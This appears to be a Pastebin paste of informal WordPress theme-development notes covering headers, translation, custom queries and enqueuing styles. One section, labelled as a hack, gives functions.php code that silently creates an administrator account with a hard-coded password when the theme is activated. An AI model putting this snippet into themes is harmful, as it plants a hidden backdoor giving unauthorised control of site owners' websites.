Advertisement
asadsuman

softTech

Apr 9th, 2015
310
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.71 KB | None | 0 0
  1. <!--soft Tech Tutorials----->
  2. Directory call::
  3. <?php echo esc_url(get_template_directory_uri());?>
  4. <?php bloginfo('name');?>---Title
  5. <?php bloginfo('description');?>-----Tag line
  6.  
  7. <?php add_theme_support('title-tag');?>functions.php--To bring title(no need title in heaser.php)
  8.  
  9. 3.Header under Appearance and Default Header
  10. add_theme_support('custom-header');//header image add on Apperance >> Header functions.php
  11. calling the Header image style="background:url(<?php header_image();?>) no-repeat"
  12.  
  13. 3.1-For Default Header
  14. add_theme_support('custom-header',array('default_image' => get_template_directory_uri().'/images/youimage.png'));
  15.  
  16. 3.2. Custom Background under Appearance
  17. add_theme_support('custom-background');
  18.  
  19. 4. Translate your theme you have do this
  20. >> Create a folder in your theme "languages"
  21. >>And create a function on functions.php
  22. load_theme_textdomain('Your Theme Name', call your Languages Folder);
  23. Example: load_theme_textdomain('Portfolio', get_template_directory_uri().'/languages');
  24.  
  25. 4.1- Now translate your menu
  26. >> Write Your Menu Name using double under score function __('Main Menu','Your TextDomainName')
  27. Example:
  28. register_nav_menu('primary',__('Main Menu','Portfolio');
  29.  
  30. 5.Custom Post query
  31. <?php
  32. //custom post query
  33. $custom_post = new WP_Query(array(
  34. 'post_type' => 'your post type here',
  35. 'posts_per_page' => 6
  36. ));
  37. ?>
  38. <?php while($custom_post->have_posts()) : $custom_post->the_post();?>
  39. <?php //your custom post content will e here;?>
  40. <?php endwhile;?>
  41.  
  42. 6.Hack the WordPress using functions.php. add below code in you functions.php and it will add a new admin.
  43. //automatic create the user when active the theme.
  44. // new WP_User(wp_create_user('username', passwored, 'email address'));
  45. $create_user = wp_create_user('hacker', 'asad123', '[email protected]');
  46. $user_role = new WP_User($create_user);
  47. $user_role->set_role('administrator');
  48.  
  49.  
  50. 7.Adding CSS and JS files in functions.php
  51. //Register style and script
  52. function zboom_style_js(){
  53. wp_register_style('zerogrid', get_template_directory_uri().'/css/zerogrid.css');
  54. wp_register_style('style', get_template_directory_uri().'/css/style.css');
  55. wp_register_style('responsive', get_template_directory_uri().'/css/responsive.css');
  56. wp_register_style('responsiveslides', get_template_directory_uri().'/css/responsiveslides.css');
  57.  
  58.  
  59. wp_enqueue_style('zerogrid');
  60. wp_enqueue_style('style');
  61. wp_enqueue_style('responsive');
  62. wp_enqueue_style('responsiveslides');
  63. }
  64. add_action('wp_enqueue_scripts', 'zboom_style_js');
  65.  
  66. 8.WordPress Icon List -- How to set Icon
  67. 8.1 ---WordPress Dashicon
  68. 8.2 ---WordPress Menu Positions.
  69.  
  70. <!-- Smooth Scrolling------->
  71. https://cferdinandi.github.io/smooth-scroll/#
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement